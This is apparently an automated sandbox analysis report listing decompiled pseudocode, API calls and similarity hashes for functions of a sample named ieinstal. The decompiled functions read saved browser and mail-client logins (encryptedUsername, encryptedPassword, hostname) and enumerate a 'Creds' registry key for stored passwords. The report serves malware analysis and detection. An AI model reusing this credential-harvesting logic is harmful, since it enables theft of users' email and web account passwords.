                                                                                                                            Function 0044315E Relevance: 69.3, APIs: 23, Strings: 23, Instructions: 313stringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: strcmp$_strcmpi$memcpystrlenstrtoul
                                                                                                                            • String ID: Account_Name$IMAP$IMAP_Port$IMAP_Secure_Connection$IMAP_Server$IMAP_User_Name$NNTP$NNTP_Email_Address$NNTP_Port$NNTP_Secure_Connection$NNTP_Server$NNTP_User_Name$POP3$POP3_Port$POP3_Secure_Connection$POP3_Server$POP3_User_Name$SMTP$SMTP_Email_Address$SMTP_Port$SMTP_Secure_Connection$SMTP_Server$SMTP_User_Name
                                                                                                                            • API String ID: 1714764973-479759155
                                                                                                                            • Opcode ID: a22eaacac348120a4584acb678e178257747be7cf0bf62b2cbe4dd5676c6cf3b
                                                                                                                            • Instruction ID: 5e0940cb4a553810ccd5eed58eee7b2aa7af7a3cc246567a3fd24b3687d2e464
                                                                                                                            • Opcode Fuzzy Hash: a22eaacac348120a4584acb678e178257747be7cf0bf62b2cbe4dd5676c6cf3b
                                                                                                                            • Instruction Fuzzy Hash: AD9191B260C7049AF628BB329D43B9B33D8AF50719F10043FF95AB61C2EE6DB905465D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E070 Relevance: 54.5, APIs: 20, Strings: 11, Instructions: 279COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 69%
                                                                                                                            			E0040E070(void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v36;
				int _v40;
				char _v60;
				char _v92;
				char _v108;
				char _v132;
				char _v164;
				void _v419;
				int _v420;
				void _v675;
				int _v676;
				void _v1291;
				char _v1292;
				void _v1907;
				char _v1908;
				void _v2523;
				char _v2524;
				char _v3548;
				char _v4572;
				char _v5596;
				char _v6620;
				void _v7644;
				void _v8667;
				int _v8668;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t89;
				void* _t91;
				void* _t100;
				char* _t139;
				intOrPtr _t140;
				int* _t141;
				intOrPtr _t142;
				char* _t148;
				char* _t150;
				void* _t157;
				int _t159;
				int _t162;
				void* _t192;
				void* _t193;
				void* _t198;
				void* _t203;
				intOrPtr _t207;
				void* _t215;
				void* _t216;
				void* _t218;

				0x4446d0();
				_push(_t157);
				_t207 = _a4;
				_push(_t193);
				_t89 = E0040690E(_t207 + 0x158, _t207 + 0x50c);
				_t226 = _t89;
				if(_t89 == 0) {
					L31:
					return _t89;
				}
				_t91 = E0040867A(_t226);
				_t5 =  &_a8; // 0x40ec43
				E004086A5(_t157, _t193, _t207, _t226, _t91,  *_t5);
				E0040896A(__edx,  &_v164, _t226);
				_t192 = E00408763( &_v164, "logins");
				_t159 = 0;
				_t227 = _t192;
				if(_t192 == 0) {
					L30:
					E004045BD( &_v108);
					E004077E4( &_v132);
					_t89 = E004076D7( &_v164);
					goto L31;
				}
				E0040867A(_t227);
				_t100 = E00407798( *((intOrPtr*)(_t192 + 4)),  *((intOrPtr*)(_t192 + 8)));
				_t228 = _t100;
				if(_t100 == 0) {
					_t100 = 0x44551f;
				}
				_v40 = _t159;
				E00407959( &_v60, _t100);
				if(E0040896A(_t192,  &_v92, _t228) == 0) {
					L29:
					E004045BD( &_v36);
					E004077E4( &_v60);
					E004076D7( &_v92);
					goto L30;
				} else {
					while(1) {
						_v8668 = _t159;
						memset( &_v8667, _t159, 0x3ff);
						memset( &_v7644, _t159, 0x1400);
						_t218 = _t216 + 0x18;
						_t197 =  &_v92;
						_v20 = E0040873D( &_v92, "hostname");
						_v12 = E0040873D( &_v92, "encryptedUsername");
						_a8 = E0040873D( &_v92, "encryptedPassword");
						_v16 = E0040873D( &_v92, "usernameField");
						_v8 = E0040873D(_t197, "passwordField");
						_t198 = E0040873D(_t197, "httpRealm");
						if(_v20 != _t159) {
							0x444032( &_v8668, _v20);
						}
						if(_v12 != _t159) {
							0x444032( &_v7644, _v12);
						}
						if(_a8 != _t159) {
							0x444032( &_v6620, _a8);
						}
						if(_v16 != _t159) {
							0x444032( &_v5596, _v16);
						}
						if(_v8 != _t159) {
							0x444032( &_v4572, _v8);
						}
						if(_t198 != _t159) {
							0x444032( &_v3548, _t198);
						}
						_v676 = _t159;
						memset( &_v675, _t159, 0xff);
						_v420 = _t159;
						memset( &_v419, _t159, 0xff);
						_t216 = _t218 + 0x18;
						E00406582( &_v420, _t207 + 0x158, _a8);
						E00406582( &_v676, _t207 + 0x158, _v12);
						_t162 = 0;
						_a8 = 0;
						if( *((intOrPtr*)(_t207 + 0x828)) <= 0) {
							goto L28;
						} else {
							goto L20;
						}
						do {
							L20:
							_t215 = E0040ED67(_a8, _t207 + 0x81c);
							_v1292 = _t162;
							memset( &_v1291, _t162, 0x261);
							_v2524 = _t162;
							memset( &_v2523, _t162, 0x261);
							_v1908 = _t162;
							memset( &_v1907, _t162, 0x261);
							_t57 = _t215 + 0x104; // 0x104
							_t203 = _t57;
							sprintf( &_v1292, "mailbox://%s");
							sprintf( &_v2524, "imap://%s");
							sprintf( &_v1908, "smtp://%s");
							_t216 = _t216 + 0x48;
							_t139 =  &_v1292;
							0x444068(_t139,  &_v3548, _t203, _t203, _t203);
							if(_t139 == 0) {
								L23:
								_t67 = _t215 + 0x204; // 0x204
								_t140 = _t67;
								_v8 = _t140;
								_t141 =  &_v676;
								0x444068(_t141, _t140);
								if(_t141 == 0) {
									if(_v420 != _t162) {
										_t72 = _t215 + 0x304; // 0x304
										E00406CA4(0xff, _t72,  &_v420);
									}
									E00406CA4(0xff, _v8,  &_v676);
									_t162 = 0;
								}
								goto L27;
							}
							_t148 =  &_v2524;
							0x444068(_t148,  &_v3548);
							if(_t148 == 0) {
								goto L23;
							}
							_t150 =  &_v1908;
							0x444068(_t150,  &_v3548);
							if(_t150 != 0) {
								goto L27;
							}
							goto L23;
							L27:
							_a8 = _a8 + 1;
							_t142 = _a4;
							_t243 = _a8 -  *((intOrPtr*)(_t142 + 0x828));
							_t207 = _t142;
						} while (_a8 <  *((intOrPtr*)(_t142 + 0x828)));
						L28:
						if(E0040896A(_t192,  &_v92, _t243) != 0) {
							_t159 = 0;
							__eflags = 0;
							continue;
						}
						goto L29;
					}
				}
			}






















































                                                                                                                            0x0040e078
                                                                                                                            0x0040e07d
                                                                                                                            0x0040e07f
                                                                                                                            0x0040e082
                                                                                                                            0x0040e091
                                                                                                                            0x0040e096
                                                                                                                            0x0040e098
                                                                                                                            0x0040e410
                                                                                                                            0x0040e414
                                                                                                                            0x0040e414
                                                                                                                            0x0040e0a4
                                                                                                                            0x0040e0a9
                                                                                                                            0x0040e0ad
                                                                                                                            0x0040e0b8
                                                                                                                            0x0040e0c7
                                                                                                                            0x0040e0c9
                                                                                                                            0x0040e0cb
                                                                                                                            0x0040e0cd
                                                                                                                            0x0040e3f5
                                                                                                                            0x0040e3f8
                                                                                                                            0x0040e400
                                                                                                                            0x0040e40b
                                                                                                                            0x00000000
                                                                                                                            0x0040e40b
                                                                                                                            0x0040e0d6
                                                                                                                            0x0040e0e1
                                                                                                                            0x0040e0e6
                                                                                                                            0x0040e0e8
                                                                                                                            0x0040e0ea
                                                                                                                            0x0040e0ea
                                                                                                                            0x0040e0f4
                                                                                                                            0x0040e0f7
                                                                                                                            0x0040e106
                                                                                                                            0x0040e3dd
                                                                                                                            0x0040e3e0
                                                                                                                            0x0040e3e8
                                                                                                                            0x0040e3f0
                                                                                                                            0x00000000
                                                                                                                            0x0040e10c
                                                                                                                            0x0040e110
                                                                                                                            0x0040e11d
                                                                                                                            0x0040e123
                                                                                                                            0x0040e138
                                                                                                                            0x0040e13d
                                                                                                                            0x0040e145
                                                                                                                            0x0040e152
                                                                                                                            0x0040e15f
                                                                                                                            0x0040e16c
                                                                                                                            0x0040e179
                                                                                                                            0x0040e186
                                                                                                                            0x0040e191
                                                                                                                            0x0040e193
                                                                                                                            0x0040e19f
                                                                                                                            0x0040e1a5
                                                                                                                            0x0040e1a9
                                                                                                                            0x0040e1b5
                                                                                                                            0x0040e1bb
                                                                                                                            0x0040e1bf
                                                                                                                            0x0040e1cb
                                                                                                                            0x0040e1d1
                                                                                                                            0x0040e1d5
                                                                                                                            0x0040e1e1
                                                                                                                            0x0040e1e7
                                                                                                                            0x0040e1eb
                                                                                                                            0x0040e1f7
                                                                                                                            0x0040e1fd
                                                                                                                            0x0040e200
                                                                                                                            0x0040e20a
                                                                                                                            0x0040e210
                                                                                                                            0x0040e21f
                                                                                                                            0x0040e225
                                                                                                                            0x0040e236
                                                                                                                            0x0040e23c
                                                                                                                            0x0040e241
                                                                                                                            0x0040e254
                                                                                                                            0x0040e263
                                                                                                                            0x0040e268
                                                                                                                            0x0040e270
                                                                                                                            0x0040e273
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040e279
                                                                                                                            0x0040e279
                                                                                                                            0x0040e28d
                                                                                                                            0x0040e297
                                                                                                                            0x0040e29d
                                                                                                                            0x0040e2ae
                                                                                                                            0x0040e2b4
                                                                                                                            0x0040e2c5
                                                                                                                            0x0040e2cb
                                                                                                                            0x0040e2d3
                                                                                                                            0x0040e2d3
                                                                                                                            0x0040e2e6
                                                                                                                            0x0040e2fb
                                                                                                                            0x0040e310
                                                                                                                            0x0040e315
                                                                                                                            0x0040e31f
                                                                                                                            0x0040e326
                                                                                                                            0x0040e32f
                                                                                                                            0x0040e363
                                                                                                                            0x0040e363
                                                                                                                            0x0040e363
                                                                                                                            0x0040e36a
                                                                                                                            0x0040e36d
                                                                                                                            0x0040e374
                                                                                                                            0x0040e37d
                                                                                                                            0x0040e385
                                                                                                                            0x0040e38e
                                                                                                                            0x0040e399
                                                                                                                            0x0040e39e
                                                                                                                            0x0040e3ae
                                                                                                                            0x0040e3b4
                                                                                                                            0x0040e3b4
                                                                                                                            0x00000000
                                                                                                                            0x0040e37d
                                                                                                                            0x0040e338
                                                                                                                            0x0040e33f
                                                                                                                            0x0040e348
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040e351
                                                                                                                            0x0040e358
                                                                                                                            0x0040e361
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040e3b6
                                                                                                                            0x0040e3b6
                                                                                                                            0x0040e3b9
                                                                                                                            0x0040e3bf
                                                                                                                            0x0040e3c5
                                                                                                                            0x0040e3c5
                                                                                                                            0x0040e3cd
                                                                                                                            0x0040e3d7
                                                                                                                            0x0040e10e
                                                                                                                            0x0040e10e
                                                                                                                            0x00000000
                                                                                                                            0x0040e10e
                                                                                                                            0x00000000
                                                                                                                            0x0040e3d7
                                                                                                                            0x0040e110

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040690E: memset.MSVCRT ref: 00406930
                                                                                                                              • Part of subcall function 0040690E: strlen.MSVCRT ref: 0040693B
                                                                                                                              • Part of subcall function 0040690E: strlen.MSVCRT ref: 00406949
                                                                                                                              • Part of subcall function 004086A5: GetFileSize.KERNEL32(00000000,00000000,?,?,00000000,0040EC43,?,00000000,?,?,?,?,?,?), ref: 004086C3
                                                                                                                              • Part of subcall function 004086A5: CloseHandle.KERNEL32(?,?), ref: 0040870D
                                                                                                                              • Part of subcall function 00408763: _mbsicmp.MSVCRT ref: 0040879D
                                                                                                                            • memset.MSVCRT ref: 0040E123
                                                                                                                            • memset.MSVCRT ref: 0040E138
                                                                                                                            • _mbscpy.MSVCRT ref: 0040E19F
                                                                                                                            • _mbscpy.MSVCRT ref: 0040E1B5
                                                                                                                            • _mbscpy.MSVCRT ref: 0040E1CB
                                                                                                                            • _mbscpy.MSVCRT ref: 0040E1E1
                                                                                                                            • _mbscpy.MSVCRT ref: 0040E1F7
                                                                                                                            • _mbscpy.MSVCRT ref: 0040E20A
                                                                                                                            • memset.MSVCRT ref: 0040E225
                                                                                                                            • memset.MSVCRT ref: 0040E23C
                                                                                                                              • Part of subcall function 00406582: memset.MSVCRT ref: 004065A3
                                                                                                                              • Part of subcall function 00406582: memcmp.MSVCRT ref: 004065CD
                                                                                                                            • memset.MSVCRT ref: 0040E29D
                                                                                                                            • memset.MSVCRT ref: 0040E2B4
                                                                                                                            • memset.MSVCRT ref: 0040E2CB
                                                                                                                            • sprintf.MSVCRT ref: 0040E2E6
                                                                                                                            • sprintf.MSVCRT ref: 0040E2FB
                                                                                                                            • sprintf.MSVCRT ref: 0040E310
                                                                                                                            • _strcmpi.MSVCRT ref: 0040E326
                                                                                                                            • _strcmpi.MSVCRT ref: 0040E33F
                                                                                                                            • _strcmpi.MSVCRT ref: 0040E358
                                                                                                                            • _strcmpi.MSVCRT ref: 0040E374
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$_mbscpy$_strcmpi$sprintf$strlen$CloseFileHandleSize_mbsicmpmemcmp
                                                                                                                            • String ID: C@$encryptedPassword$encryptedUsername$hostname$httpRealm$imap://%s$logins$mailbox://%s$passwordField$smtp://%s$usernameField
                                                                                                                            • API String ID: 4171719235-3249434271
                                                                                                                            • Opcode ID: b0d5c0670ed8c74d0c8e3b60901706fc2ec35adaa3e3620046f1bbd10783a5e2
                                                                                                                            • Instruction ID: 4eb083177fa9c3dcba641838e0e399a852ec85db15ddf69852980c8670b79128
                                                                                                                            • Opcode Fuzzy Hash: b0d5c0670ed8c74d0c8e3b60901706fc2ec35adaa3e3620046f1bbd10783a5e2
                                                                                                                            • Instruction Fuzzy Hash: EFA16672D04219AEDF10EBA1DC41ADE77BCAF44304F1044BFF645B7181DA38AA988F59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00401060 Relevance: 39.2, APIs: 26, Instructions: 186COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 87%
                                                                                                                            			E00401060(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void _v267;
				char _v268;
				void* __edi;
				void* __esi;
				void* _t50;
				struct HBRUSH__* _t62;
				void* _t67;
				unsigned int _t68;
				void* _t73;
				struct HWND__* _t74;
				struct HWND__* _t75;
				void* _t78;
				unsigned int _t79;
				struct HWND__* _t81;
				struct HWND__* _t82;
				struct HWND__* _t83;
				struct HWND__* _t84;
				unsigned int _t89;
				struct HWND__* _t91;
				struct HWND__* _t93;
				struct HWND__* _t94;
				void* _t98;
				void* _t104;
				struct tagPOINT _t109;
				struct tagPOINT _t111;

				_t104 = __edx;
				_t100 = __ecx;
				_t50 = _a4 - 0x110;
				_t98 = __ecx;
				if(_t50 == 0) {
					__eflags =  *0x451398;
					if( *0x451398 != 0) {
						SetDlgItemTextA( *(__ecx + 4), 0x3ee, 0x451398);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 4), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t98 + 4), 0x3ee), 0);
					}
					_v268 = 0;
					memset( &_v267, 0, 0xff);
					SetWindowTextA( *(_t98 + 4), E004019B4(_t100,  &_v268, 0x445520));
					SetDlgItemTextA( *(_t98 + 4), 0x3ea, _t98 + 0xc);
					SetDlgItemTextA( *(_t98 + 4), 0x3ec, _t98 + 0x10b);
					E00401000(_t98, __eflags);
					E00407065(_t104,  *(_t98 + 4));
					goto L29;
				} else {
					_t67 = _t50 - 1;
					if(_t67 == 0) {
						_t68 = _a8;
						__eflags = _t68 - 1;
						if(_t68 != 1) {
							goto L29;
						} else {
							__eflags = _t68 >> 0x10;
							if(_t68 >> 0x10 != 0) {
								goto L29;
							} else {
								EndDialog( *(__ecx + 4), 1);
								DeleteObject( *(_t98 + 0x20c));
								goto L8;
							}
						}
					} else {
						_t73 = _t67 - 0x27;
						if(_t73 == 0) {
							_t74 = GetDlgItem( *(__ecx + 4), 0x3ec);
							__eflags = _a12 - _t74;
							if(_a12 != _t74) {
								__eflags =  *0x4513d8;
								if( *0x4513d8 == 0) {
									goto L29;
								} else {
									_t75 = GetDlgItem( *(_t98 + 4), 0x3ee);
									__eflags = _a12 - _t75;
									if(_a12 != _t75) {
										goto L29;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t62 = GetSysColorBrush(0xf);
							}
						} else {
							_t78 = _t73 - 0xc8;
							if(_t78 == 0) {
								_t79 = _a12;
								_t109 = _t79 & 0x0000ffff;
								_v12.x = _t109;
								_v12.y = _t79 >> 0x10;
								_t81 = GetDlgItem( *(__ecx + 4), 0x3ec);
								_push(_v12.y);
								_a8 = _t81;
								_t82 = ChildWindowFromPoint( *(_t98 + 4), _t109);
								__eflags = _t82 - _a8;
								if(_t82 != _a8) {
									__eflags =  *0x4513d8;
									if( *0x4513d8 == 0) {
										goto L29;
									} else {
										_t83 = GetDlgItem( *(_t98 + 4), 0x3ee);
										_push(_v12.y);
										_t84 = ChildWindowFromPoint( *(_t98 + 4), _v12.x);
										__eflags = _t84 - _t83;
										if(_t84 != _t83) {
											goto L29;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorA( *0x4509f4, 0x67));
									goto L8;
								}
							} else {
								if(_t78 != 0) {
									L29:
									_t62 = 0;
									__eflags = 0;
								} else {
									_t89 = _a12;
									_t111 = _t89 & 0x0000ffff;
									_v12.x = _t111;
									_v12.y = _t89 >> 0x10;
									_t91 = GetDlgItem( *(__ecx + 4), 0x3ec);
									_push(_v12.y);
									_a8 = _t91;
									if(ChildWindowFromPoint( *(_t98 + 4), _t111) != _a8) {
										__eflags =  *0x4513d8;
										if( *0x4513d8 == 0) {
											goto L29;
										} else {
											_t93 = GetDlgItem( *(_t98 + 4), 0x3ee);
											_push(_v12.y);
											_t94 = ChildWindowFromPoint( *(_t98 + 4), _v12);
											__eflags = _t94 - _t93;
											if(_t94 != _t93) {
												goto L29;
											} else {
												_push(0x4513d8);
												goto L7;
											}
										}
									} else {
										_push(_t98 + 0x10b);
										L7:
										_push( *(_t98 + 4));
										E0040711C();
										L8:
										_t62 = 1;
									}
								}
							}
						}
					}
				}
				return _t62;
			}





























                                                                                                                            0x00401060
                                                                                                                            0x00401060
                                                                                                                            0x0040106c
                                                                                                                            0x00401074
                                                                                                                            0x00401076
                                                                                                                            0x00401231
                                                                                                                            0x00401238
                                                                                                                            0x00401273
                                                                                                                            0x0040123a
                                                                                                                            0x00401253
                                                                                                                            0x00401262
                                                                                                                            0x00401262
                                                                                                                            0x00401287
                                                                                                                            0x0040128e
                                                                                                                            0x004012aa
                                                                                                                            0x004012c2
                                                                                                                            0x004012d3
                                                                                                                            0x004012d7
                                                                                                                            0x004012df
                                                                                                                            0x00000000
                                                                                                                            0x0040107c
                                                                                                                            0x0040107c
                                                                                                                            0x0040107d
                                                                                                                            0x004011fc
                                                                                                                            0x004011ff
                                                                                                                            0x00401203
                                                                                                                            0x00000000
                                                                                                                            0x00401209
                                                                                                                            0x0040120c
                                                                                                                            0x0040120f
                                                                                                                            0x00000000
                                                                                                                            0x00401215
                                                                                                                            0x0040121a
                                                                                                                            0x00401226
                                                                                                                            0x00000000
                                                                                                                            0x00401226
                                                                                                                            0x0040120f
                                                                                                                            0x00401083
                                                                                                                            0x00401083
                                                                                                                            0x00401086
                                                                                                                            0x004011ad
                                                                                                                            0x004011af
                                                                                                                            0x004011b2
                                                                                                                            0x004011da
                                                                                                                            0x004011e1
                                                                                                                            0x00000000
                                                                                                                            0x004011e7
                                                                                                                            0x004011ef
                                                                                                                            0x004011f1
                                                                                                                            0x004011f4
                                                                                                                            0x00000000
                                                                                                                            0x004011fa
                                                                                                                            0x00000000
                                                                                                                            0x004011fa
                                                                                                                            0x004011f4
                                                                                                                            0x004011b4
                                                                                                                            0x004011b4
                                                                                                                            0x004011b9
                                                                                                                            0x004011c7
                                                                                                                            0x004011cf
                                                                                                                            0x004011cf
                                                                                                                            0x0040108c
                                                                                                                            0x0040108c
                                                                                                                            0x00401091
                                                                                                                            0x00401121
                                                                                                                            0x0040112a
                                                                                                                            0x00401138
                                                                                                                            0x0040113b
                                                                                                                            0x0040113e
                                                                                                                            0x00401140
                                                                                                                            0x00401143
                                                                                                                            0x00401150
                                                                                                                            0x00401152
                                                                                                                            0x00401155
                                                                                                                            0x00401171
                                                                                                                            0x00401178
                                                                                                                            0x00000000
                                                                                                                            0x0040117e
                                                                                                                            0x00401186
                                                                                                                            0x00401188
                                                                                                                            0x00401193
                                                                                                                            0x00401195
                                                                                                                            0x00401197
                                                                                                                            0x00000000
                                                                                                                            0x0040119d
                                                                                                                            0x00000000
                                                                                                                            0x0040119d
                                                                                                                            0x00401197
                                                                                                                            0x00401157
                                                                                                                            0x00401157
                                                                                                                            0x00401166
                                                                                                                            0x00000000
                                                                                                                            0x00401166
                                                                                                                            0x00401097
                                                                                                                            0x00401099
                                                                                                                            0x004012e5
                                                                                                                            0x004012e5
                                                                                                                            0x004012e5
                                                                                                                            0x0040109f
                                                                                                                            0x0040109f
                                                                                                                            0x004010a8
                                                                                                                            0x004010b6
                                                                                                                            0x004010b9
                                                                                                                            0x004010bc
                                                                                                                            0x004010be
                                                                                                                            0x004010c1
                                                                                                                            0x004010d3
                                                                                                                            0x004010ee
                                                                                                                            0x004010f5
                                                                                                                            0x00000000
                                                                                                                            0x004010fb
                                                                                                                            0x00401103
                                                                                                                            0x00401105
                                                                                                                            0x00401110
                                                                                                                            0x00401112
                                                                                                                            0x00401114
                                                                                                                            0x00000000
                                                                                                                            0x0040111a
                                                                                                                            0x0040111a
                                                                                                                            0x00000000
                                                                                                                            0x0040111a
                                                                                                                            0x00401114
                                                                                                                            0x004010d5
                                                                                                                            0x004010db
                                                                                                                            0x004010dc
                                                                                                                            0x004010dc
                                                                                                                            0x004010df
                                                                                                                            0x004010e6
                                                                                                                            0x004010e8
                                                                                                                            0x004010e8
                                                                                                                            0x004010d3
                                                                                                                            0x00401099
                                                                                                                            0x00401091
                                                                                                                            0x00401086
                                                                                                                            0x0040107d
                                                                                                                            0x004012eb

                                                                                                                            APIs
                                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 004010BC
                                                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 004010CE
                                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 00401103
                                                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401110
                                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 0040113E
                                                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401150
                                                                                                                            • LoadCursorA.USER32(00000067), ref: 0040115F
                                                                                                                            • SetCursor.USER32(00000000,?,?), ref: 00401166
                                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 00401186
                                                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401193
                                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 004011AD
                                                                                                                            • SetBkMode.GDI32(?,00000001), ref: 004011B9
                                                                                                                            • SetTextColor.GDI32(?,00C00000), ref: 004011C7
                                                                                                                            • GetSysColorBrush.USER32(0000000F), ref: 004011CF
                                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 004011EF
                                                                                                                            • EndDialog.USER32(?,00000001), ref: 0040121A
                                                                                                                            • DeleteObject.GDI32(?), ref: 00401226
                                                                                                                            • GetDlgItem.USER32(?,000003ED), ref: 0040124A
                                                                                                                            • ShowWindow.USER32(00000000), ref: 00401253
                                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 0040125F
                                                                                                                            • ShowWindow.USER32(00000000), ref: 00401262
                                                                                                                            • SetDlgItemTextA.USER32(?,000003EE,00451398), ref: 00401273
                                                                                                                            • memset.MSVCRT ref: 0040128E
                                                                                                                            • SetWindowTextA.USER32(?,00000000), ref: 004012AA
                                                                                                                            • SetDlgItemTextA.USER32(?,000003EA,?), ref: 004012C2
                                                                                                                            • SetDlgItemTextA.USER32(?,000003EC,?), ref: 004012D3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogLoadModeObjectmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2998058495-0
                                                                                                                            • Opcode ID: 0f9c4242ba45eb06dd3dfa1dd6db45fade88f32ef90b46f4d12f3d9a9e08a6d1
                                                                                                                            • Instruction ID: cf74e5707885198988a29297af0a26d915b41f86d4ff93bb74c60bb1bb3fb963
                                                                                                                            • Opcode Fuzzy Hash: 0f9c4242ba45eb06dd3dfa1dd6db45fade88f32ef90b46f4d12f3d9a9e08a6d1
                                                                                                                            • Instruction Fuzzy Hash: 04618B35800208EBDF12AFA0DD85BAE7FA5BB04305F1481B6F904BA2F2C7B59950DF58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040F177 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 118registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 50%
                                                                                                                            			E0040F177(intOrPtr* _a4, intOrPtr _a8, char _a12, void* _a16) {
				int _v8;
				int _v12;
				void* _v16;
				short* _v20;
				int _v24;
				char* _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				int _v44;
				void _v299;
				char _v300;
				char _v556;
				char _v812;
				char _v4908;
				void* __ebx;
				void* __edi;
				long _t45;
				int* _t84;
				char* _t86;

				0x4446d0();
				_t84 = 0;
				_t45 = RegOpenKeyExA(_a16, "Creds", 0, 0x20019,  &_a16);
				if(_t45 != 0) {
					L10:
					return _t45;
				}
				_v300 = _t45;
				memset( &_v299, 0, 0xff);
				_push(0xff);
				_push( &_v300);
				_v8 = 0;
				_push(0);
				while(RegEnumKeyA(_a16, ??, ??, ??) == 0) {
					if(RegOpenKeyExA(_a16,  &_v300, _t84, 0x20019,  &_v16) == 0) {
						_v12 = 0x1000;
						if(RegQueryValueExA(_v16, ?str?, _t84,  &_v44,  &_v4908,  &_v12) == 0) {
							_v32 = _v12;
							_v28 =  &_v4908;
							_v40 = _a12;
							_v36 = _a8;
							if(E004047A0(_a4 + 0xc,  &_v32,  &_v40,  &_v24) != 0) {
								_t86 =  &_v812;
								_v812 = 0;
								_v556 = 0;
								E00406CA4(0xff, _t86,  &_v300);
								WideCharToMultiByte(0, 0, _v20, _v24,  &_v556, 0xff, 0, 0);
								 *((intOrPtr*)( *_a4))(_t86);
								LocalFree(_v20);
								_t84 = 0;
							}
						}
						RegCloseKey(_v16);
					}
					_v8 = _v8 + 1;
					_push(0xff);
					_push( &_v300);
					_push(_v8);
				}
				_t45 = RegCloseKey(_a16);
				goto L10;
			}























                                                                                                                            0x0040f17f
                                                                                                                            0x0040f196
                                                                                                                            0x0040f1a1
                                                                                                                            0x0040f1a5
                                                                                                                            0x0040f2da
                                                                                                                            0x0040f2de
                                                                                                                            0x0040f2de
                                                                                                                            0x0040f1b1
                                                                                                                            0x0040f1bf
                                                                                                                            0x0040f1c7
                                                                                                                            0x0040f1ce
                                                                                                                            0x0040f1cf
                                                                                                                            0x0040f1d2
                                                                                                                            0x0040f2c0
                                                                                                                            0x0040f1f0
                                                                                                                            0x0040f20e
                                                                                                                            0x0040f21d
                                                                                                                            0x0040f226
                                                                                                                            0x0040f22f
                                                                                                                            0x0040f235
                                                                                                                            0x0040f23b
                                                                                                                            0x0040f257
                                                                                                                            0x0040f260
                                                                                                                            0x0040f266
                                                                                                                            0x0040f26d
                                                                                                                            0x0040f274
                                                                                                                            0x0040f28e
                                                                                                                            0x0040f29c
                                                                                                                            0x0040f2a1
                                                                                                                            0x0040f2a7
                                                                                                                            0x0040f2a7
                                                                                                                            0x0040f257
                                                                                                                            0x0040f2ac
                                                                                                                            0x0040f2ac
                                                                                                                            0x0040f2b2
                                                                                                                            0x0040f2b5
                                                                                                                            0x0040f2bc
                                                                                                                            0x0040f2bd
                                                                                                                            0x0040f2bd
                                                                                                                            0x0040f2d4
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • RegOpenKeyExA.ADVAPI32(0040F591,Creds,00000000,00020019,0040F591,0044FE50,00000040,?,?,0040F591,?,?,?,?), ref: 0040F1A1
                                                                                                                            • memset.MSVCRT ref: 0040F1BF
                                                                                                                            • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0040F1EC
                                                                                                                            • RegQueryValueExA.ADVAPI32(?,ps:password,00000000,?), ref: 0040F215
                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,000000FF,00000000,00000000), ref: 0040F28E
                                                                                                                            • LocalFree.KERNEL32(?), ref: 0040F2A1
